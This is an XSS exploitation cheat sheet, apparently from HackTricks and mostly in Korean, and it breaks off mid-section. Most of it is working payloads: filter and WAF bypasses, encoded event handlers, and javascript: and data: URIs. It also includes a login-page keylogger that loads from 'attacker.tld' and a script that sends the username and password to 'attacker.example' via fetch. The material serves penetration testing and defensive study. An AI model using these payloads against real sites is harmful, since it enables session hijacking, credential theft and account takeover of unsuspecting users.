%.*s
XSS (Cross Site Scripting)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
방법론
- 당신이 제어하는 어떤 값이 (parameters, path, headers?, cookies?) HTML에 반사되거나 JS 코드에서 사용되는지 확인한다.
- 값이 반사/사용되는 **문맥(컨텍스트)**을 찾는다.
- 값이 반사되는 경우
- 어떤 기호를 사용할 수 있는지 확인하고 그에 따라 페이로드를 준비한다:
- **원시 HTML(raw HTML)**에서:
- 새로운 HTML 태그를 만들 수 있는가?
javascript:프로토콜을 지원하는 이벤트나 속성을 사용할 수 있는가?- 보호 장치를 우회할 수 있는가?
- HTML 콘텐츠가 어떤 client side JS 엔진(AngularJS, VueJS, Mavo…)에 의해 해석되고 있는가? 그런 경우 Client Side Template Injection을 악용할 수 있다.
- JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, Dangling Markup - HTML scriptless injection를 악용할 수 있는가?
- HTML 태그 내부:
- 어트리뷰트에서 벗어나 원시 HTML 컨텍스트로 나갈 수 있는가?
- JS 코드를 실행하는 새로운 이벤트/속성을 생성할 수 있는가?
- 당신이 갇혀 있는 속성(attribute)이 JS 실행을 지원하는가?
- 보호 장치를 우회할 수 있는가?
- JavaScript 코드 내부:
<script>태그를 탈출할 수 있는가?- 문자열을 탈출하여 다른 JS 코드를 실행할 수 있는가?
- 입력이 템플릿 리터럴(
``)에 있는가? - 보호 장치를 우회할 수 있는가?
- Javascript 함수가 실행되는 경우
- 실행할 함수의 이름을 지정할 수 있다. 예:
?callback=alert(1) - 값이 사용되는 경우:
- DOM XSS를 악용할 수 있다. 입력이 어떻게 제어되는지, 그리고 당신의 제어된 입력이 어떤 sink에 의해 사용되는지 주의 깊게 살펴라.
복잡한 XSS를 다룰 때는 다음이 유용할 수 있다:
반사된 값
XSS를 성공적으로 악용하려면 먼저 찾아야 할 것은 웹 페이지에 반사되는 당신이 제어하는 값이다.
- 중간적으로 반사된 경우(Intermediately reflected): 파라미터 값 또는 심지어 path 값이 웹 페이지에 반사되는 것을 찾았다면 Reflected XSS를 악용할 수 있다.
- 저장되어 반사되는 경우(Stored and reflected): 당신이 제어하는 값이 서버에 저장되어 페이지에 접근할 때마다 반사된다면 Stored XSS를 악용할 수 있다.
- JS를 통해 접근되는 경우(Accessed via JS): 당신이 제어하는 값이 JS를 통해 접근되는 것을 찾았다면 DOM XSS를 악용할 수 있다.
컨텍스트
XSS를 시도할 때 가장 먼저 알아야 할 것은 당신의 입력이 어디에 반사되는가이다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방법이 달라진다.
Raw HTML
입력이 원시 HTML에 반사되는 경우 JS 코드를 실행하려면 어떤 HTML 태그를 악용해야 한다: <img , <iframe , <svg , <script … 이들은 사용할 수 있는 여러 HTML 태그 중 일부에 불과하다.
또한 Client Side Template Injection을 염두에 두어라.
HTML 태그의 attribute 내부
입력이 태그의 속성 값(attribute value) 내부에 반사되는 경우 다음을 시도할 수 있다:
- 속성과 태그에서 탈출하여(그럼 원시 HTML 컨텍스트에 있게 됨) 악용할 새로운 HTML 태그를 만든다:
"><img [...] - 속성에서는 탈출하지만 태그에서는 탈출하지 못하는 경우(
>가 인코딩되었거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 이벤트를 만들 수 있다:" autofocus onfocus=alert(1) x=" - 속성에서 탈출할 수 없는 경우(
"가 인코딩되었거나 삭제된 경우), 값이 반사되는 어떤 속성인지, 그리고 값 전체를 제어하는지 일부만 제어하는지에 따라 악용 가능성이 달라진다. 예를 들어onclick=같은 이벤트 속성을 제어하면 클릭 시 임의의 코드를 실행할 수 있다. 또 다른 흥미로운 예는href속성으로,javascript:프로토콜을 사용해 임의의 코드를 실행할 수 있다:href="javascript:alert(1)" - 입력이 “악용 불가능한 태그(unexpoitable tags)” 내부에 반사되는 경우
accesskey트릭을 시도해 취약점을 악용할 수 있다(이를 악용하려면 약간의 social engineering이 필요함):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
기업용 SSO 로그인 페이지가 OAuth service 파라미터를 <a id="forgot_btn" ...>의 href 속성 안에 반사하고 있었다. <와 >는 HTML-인코딩되어 있었지만, 큰따옴표는 인코딩되지 않아 공격자는 속성을 닫고 같은 요소를 재사용해 " onfocus="payload" x=" 같은 핸들러를 주입할 수 있었다.
- 핸들러 주입:
onclick="print(1)"같은 단순 페이로드는 차단되었지만, WAF는 인라인 속성에서 첫 번째 JavaScript 문만 검사했다. 무해한 표현식을 괄호로 감싸고 세미콜론을 붙인 뒤 실제 페이로드를 넣으면 실행될 수 있었다:onfocus="(history.length);malicious_code_here". - 자동 트리거: 브라우저는 fragment가 요소의
id와 일치하면 해당 요소에 포커스를 준다. 따라서 익스플로잇 URL에#forgot_btn을 붙이면 페이지 로드 시 앵커에 포커스가 가고 클릭 없이도 핸들러가 실행된다. - 인라인 스텁을 작게 유지: 대상 페이지는 이미 jQuery를 포함하고 있었다. 핸들러는 단지
$.getScript(...)를 통해 요청을 부트스트랩하기만 하면 되었고, 전체 keylogger는 공격자 서버에 호스팅되었다.
따옴표 없이 문자열 생성하기
Single quotes는 URL-encoded되어 반환되었고 escaped된 double quotes는 속성을 망가뜨렸기 때문에, 페이로드는 모든 문자열을 String.fromCharCode로 생성하도록 했다. 어떤 URL이든 속성에 붙여넣기 전에 문자 코드로 변환하기 쉽게 도와주는 헬퍼 함수가 있다:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
결과 속성은 다음과 같았습니다:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
왜 이것이 자격 증명을 훔치는가
외부 스크립트(공격자가 제어하는 호스트 또는 Burp Collaborator에서 로드됨)는 document.onkeypress를 훅(hook)하여 키 입력을 버퍼링했고, 매초 new Image().src = collaborator_url + keys를 실행했다. XSS가 인증되지 않은 사용자에게만 발생하기 때문에, 민감한 동작은 로그인 폼 자체다 — 공격자는 피해자가 “Login“을 누르지 않더라도 사용자 이름과 비밀번호를 키로깅한다.
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript 코드 내부
이 경우 입력값은 HTML 페이지의 <script> [...] </script> 태그 사이, .js 파일 내부 또는 javascript: 프로토콜을 사용하는 속성 내부에 반영됩니다:
<script> [...] </script>태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도</script>를 주입해 이 컨텍스트에서 탈출을 시도할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱한 다음 내용을 파싱하기 때문에 동작하며, 주입한</script>태그가 HTML 코드 내부에 있다는 사실을 브라우저가 인식하지 못합니다.- 입력이 inside a JS string에 반영되고 마지막 트릭이 동작하지 않는다면, 문자열을 exit하고 코드를 execute한 다음 JS 코드를 reconstruct해야 합니다(오류가 있으면 실행되지 않습니다):
'-alert(1)-'';-alert(1)//\';alert(1)//- template literals 내부에 반영되는 경우
${ ... }문법을 사용해 embed JS expressions할 수 있습니다:var greetings = `Hello, ${alert(1)}` - Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting는 XSS가 선언되지 않은 변수나 함수들을 사용하고 있을 때 이를 악용할 수 있도록, 사용된 이후에 functions, variables 또는 classes를 선언할 기회를 의미합니다.
자세한 내용은 다음 페이지를 확인하세요:
Javascript Function
몇몇 웹페이지에는 실행할 함수의 이름을 파라미터로 받는 endpoint가 있습니다. 흔히 볼 수 있는 예는 다음과 같습니다: ?callback=callbackFunc.
사용자가 직접 입력한 값이 실제로 실행을 시도하는지 알아내는 좋은 방법은 파라미터 값을 수정해 보는 것(예: ‘Vulnerable’)이고, 콘솔에서 다음과 같은 에러를 확인하는 것입니다:
.png)
취약한 경우, 단순히 값을 전송하는 것만으로 alert를 트리거할 수 있습니다: ?callback=alert(1). 하지만 해당 endpoint들은 일반적으로 문자, 숫자, 점 및 밑줄만 허용하도록 컨텐츠를 검증하는 경우가 많습니다 ([\w\._]).
그러나 이러한 제한이 있어도 일부 동작은 여전히 가능합니다. 허용된 문자만으로도 DOM의 어떤 요소든 접근할 수 있기 때문입니다:
.png)
유용한 함수들:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
또한 trigger Javascript functions를 직접 시도할 수 있습니다: obj.sales.delOrders.
하지만, 보통 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 거의 없고, other pages in the same origin에는 더 많은 작업을 수행할 수 있는 more interesting DOM이 있습니다.
따라서 abuse this vulnerability in a different DOM를 위해 Same Origin Method Execution (SOME) exploitation이 개발되었습니다:
SOME - Same Origin Method Execution
DOM
JS code가 공격자가 제어하는 일부 데이터(예: location.href)를 unsafely 사용하고 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
Universal XSS
이러한 유형의 XSS는 anywhere에서 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점만이 아니라 any context에 의존합니다. 이러한 유형의 arbitrary JavaScript execution은 심지어 RCE, 클라이언트와 서버의 read arbitrary files 등을 악용하는 데 사용될 수 있습니다.
몇 가지 examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
입력이 inside the HTML page에 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하여 주입할 수 있다면, 먼저 <를 이용해 새 태그를 생성할 수 있는지 확인해야 합니다: 해당 char가 반영되는지, HTML encoded되는지, 또는 삭제되는지를 확인하세요. reflected without changes인 경우에만 이 취약점을 악용할 수 있습니다.
이러한 경우에는 Client Side Template Injection를 염두에 두세요.
Note: A HTML comment can be closed using****-->****or **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
만약 어떤 형태의 blacklist가 사용되고 있다면, 몇 가지 간단한 트릭으로 우회해볼 수 있습니다:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
길이 우회 (small XSSs)
[!NOTE] > 다양한 환경을 위한 더 작은 XSS payload는 여기에서 확인할 수 있습니다 및 여기.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
이와 같은 문자 더 많은 예시는 여기.
어떤 문자로 분해되는지 확인하려면 여기를 확인하세요.
Click XSS - Clickjacking
취약점을 악용하기 위해 사용자가 미리 채워진 데이터가 포함된 링크나 폼을 클릭해야 한다면, 페이지가 취약한 경우 abuse Clickjacking를 시도할 수 있습니다.
Impossible - Dangling Markup
단순히 속성으로 JS 코드를 실행할 HTML 태그를 만드는 것이 불가능하다고 생각한다면, Danglig Markup 를 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 exploit할 수 있기 때문입니다.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
만약 HTML tag 내부에 있다면, 가장 먼저 시도해볼 것은 태그에서 이스케이프해서 이전 섹션에 언급된 일부 기법을 사용해 JS 코드를 실행하는 것입니다.
태그에서 이스케이프할 수 없다면, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (이 예에서는 속성에서 이스케이프하기 위해 큰따옴표를 사용했습니다. 입력이 태그 내부에 직접 반영되는 경우에는 큰따옴표가 필요하지 않습니다):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
스타일 이벤트
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
속성 내부
비록 속성에서 탈출할 수 없다고 해도 ("가 인코딩되거나 삭제되는 경우), 값이 반영되는 어떤 속성인지, 그리고 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있습니다. 예를 들어, onclick= 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행하게 만들 수 있습니다.
또 다른 흥미로운 예는 href 속성으로, javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
이벤트 내 우회: HTML encoding/URL encode 사용
HTML 태그 속성 값 내부의 HTML encoded characters는 런타임에 디코딩됩니다. 따라서 다음과 같은 형태가 유효합니다(페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
참고: 어떤 종류의 HTML encode든 유효합니다:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
참고: URL encode도 작동합니다:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
이벤트 내부에서 Unicode encode를 사용한 Bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
속성 내의 특수 프로토콜
거기에서는 일부 위치에서 프로토콜 javascript: 또는 data: 를 사용하여 임의의 JS 코드를 실행할 수 있습니다. 일부는 사용자 상호작용을 요구하고, 일부는 요구하지 않습니다.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
이들 프로토콜을 주입할 수 있는 장소
일반적으로 javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용될 수 있으며 그리고 src 속성을 허용하는 대부분의 태그에서도 (하지만 <img>은 제외)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
다른 obfuscation tricks
이 경우 이전 섹션의 HTML encoding 및 Unicode encoding trick도 속성 내부에 있으므로 유효합니다.
<a href="javascript:var a=''-alert(1)-''">
게다가 이런 경우를 위한 또 하나의 nice trick이 있습니다: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it’s executed. 따라서, single quote를 사용해 string에서 escape해야 하고 그것이 URL encoded되고 있음을 보더라도, 기억하세요: it doesn’t matter, 실행 시에는 single quote로 interpreted됩니다.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
참고: URLencode + HTMLencode를 어떤 순서로든 둘 다 사용하여 payload를 인코딩하려고 하면 작동하지 않습니다, 하지만 payload 내부에서는 혼합해서 사용할 수 있습니다.
javascript:와 함께 Hex 및 Octal encode 사용
iframe의 src 속성 (적어도) 내부에서 Hex 및 Octal encode를 사용하여 HTML tags to execute JS를 선언할 수 있습니다:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:
on Event Handlers Bypass
우선 유용한 “on” event handlers는 이 페이지(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)를 확인하세요.
이러한 “on” event handlers의 생성을 차단하는 블랙리스트가 있는 경우, 다음 우회 방법들을 시도해볼 수 있습니다:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Unexploitable tags” (hidden input, link, canonical, meta)
From here hidden inputs를 다음과 같이 악용할 수 있습니다:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
그리고 메타 태그:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
다음 here: XSS payload inside a hidden attribute를 실행할 수 있습니다. 단, victim이 key combination을 누르도록 persuade할 수 있어야 합니다. Firefox Windows/Linux에서는 키 조합이 ALT+SHIFT+X이고, OS X에서는 CTRL+ALT+X입니다. access key attribute에서 다른 키를 지정하면 다른 키 조합을 사용할 수 있습니다. 다음은 벡터입니다:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload는 대략 다음과 같습니다: " accesskey="x" onclick="alert(1)" x="
블랙리스트 우회
이 섹션에서는 이미 다양한 인코딩을 이용한 트릭들이 소개되었습니다. 어디에서 사용할 수 있는지 돌아가서 확인하세요:
- HTML encoding (HTML tags)
- Unicode encoding (유효한 JS 코드가 될 수 있음):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
HTML 태그 및 속성에 대한 우회
읽어보세요: 이전 섹션의 Blacklist Bypasses.
JavaScript 코드에 대한 우회
읽어보세요: JavaScript bypass blacklist of the following section.
CSS-Gadgets
웹의 아주 작은 부분에서 XSS를 발견했고 어떤 종류의 상호작용이 필요한 경우(예: footer의 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 공간을 수정하여 링크가 실행될 확률을 최대화할 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
하지만 WAF가 style 속성을 필터링한다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음을 찾았다면
.test {display:block; color: blue; width: 100%}
그리고
#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하여 다음 형태로 만들 수 있습니다
<a href=“” id=someid class=test onclick=alert() a=“”>
이 트릭은 다음에서 가져왔습니다: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
JavaScript 코드 내부로 주입
이 경우, 당신의 input은 .js 파일 안의 JS 코드나 <script>...</script> 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 javascript: 프로토콜을 허용하는 속성들 사이에 반영(reflected) 될 것입니다.
<script> 태그 탈출
코드가 <script> [...] var input = 'reflected data' [...] </script> 안에 삽입된다면, 쉽게 <script>를 종료(escape) 할 수 있습니다:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we haven’t even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
JS 코드 내부
If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It’s important to fix JS syntax, because if there are any errors, the JS code won’t be executed:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
사용자 입력이 인용된 JavaScript 문자열 내부에 들어갈 때(예: 서버 측에서 인라인 스크립트로 echo하는 경우), 문자열을 종료하고 코드를 주입한 다음 구문이 유효하도록 복구할 수 있습니다.
일반적인 골격:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
취약한 매개변수가 JS 문자열로 반영될 때의 예시 URL 패턴:
?param=test";<INJECTION>;a="
이는 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다 (pure JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합해 사용하세요.
Template literals ``
단일 및 이중 따옴표 외에 strings를 구성하기 위해 JS는 backticks `` 도 허용합니다. 이것은 template literals라고 하며 ${ ... } 문법을 사용해 embedded JS expressions를 포함할 수 있습니다.
따라서, 입력값이 backticks를 사용하는 JS 문자열 안에 reflected 되어 있다면 ${ ... } 문법을 악용해 arbitrary JS code를 실행할 수 있습니다:
이것은 악용할 수 있습니다 사용:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
인코딩된 code 실행
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) and scope nuances
URL을 더 짧게 유지하고 단순한 키워드 필터를 우회하려면, 실제 로직을 base64로 인코딩한 뒤 eval(atob('...'))로 평가할 수 있습니다. 단순한 키워드 필터가 alert, eval, 또는 atob 같은 식별자를 차단한다면, 브라우저에서 동일하게 컴파일되면서 문자열 매칭 필터를 회피하는 Unicode 이스케이프된 식별자를 사용하세요:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
중요한 스코프 유의사항: const/let가 eval() 내부에서 선언되면 블록 스코프이며 전역을 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때 전역이고 재할당 불가능한 훅을 정의하려면 동적으로 주입된 <script> 요소를 사용하세요(예: 폼 핸들러를 가로채기 위해):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode 인코딩을 이용한 JS 실행
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists 기법
문자열
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
특수 이스케이프
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS 코드 내 공백 치환
<TAB>
/**/
JavaScript 주석 (발췌 JavaScript Comments 트릭)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (에서 가져온 JavaScript new line 기법)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 공백 문자
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
주석 안의 Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript 괄호 없이
// By setting location
window.location='javascript:alert\x281\x29'
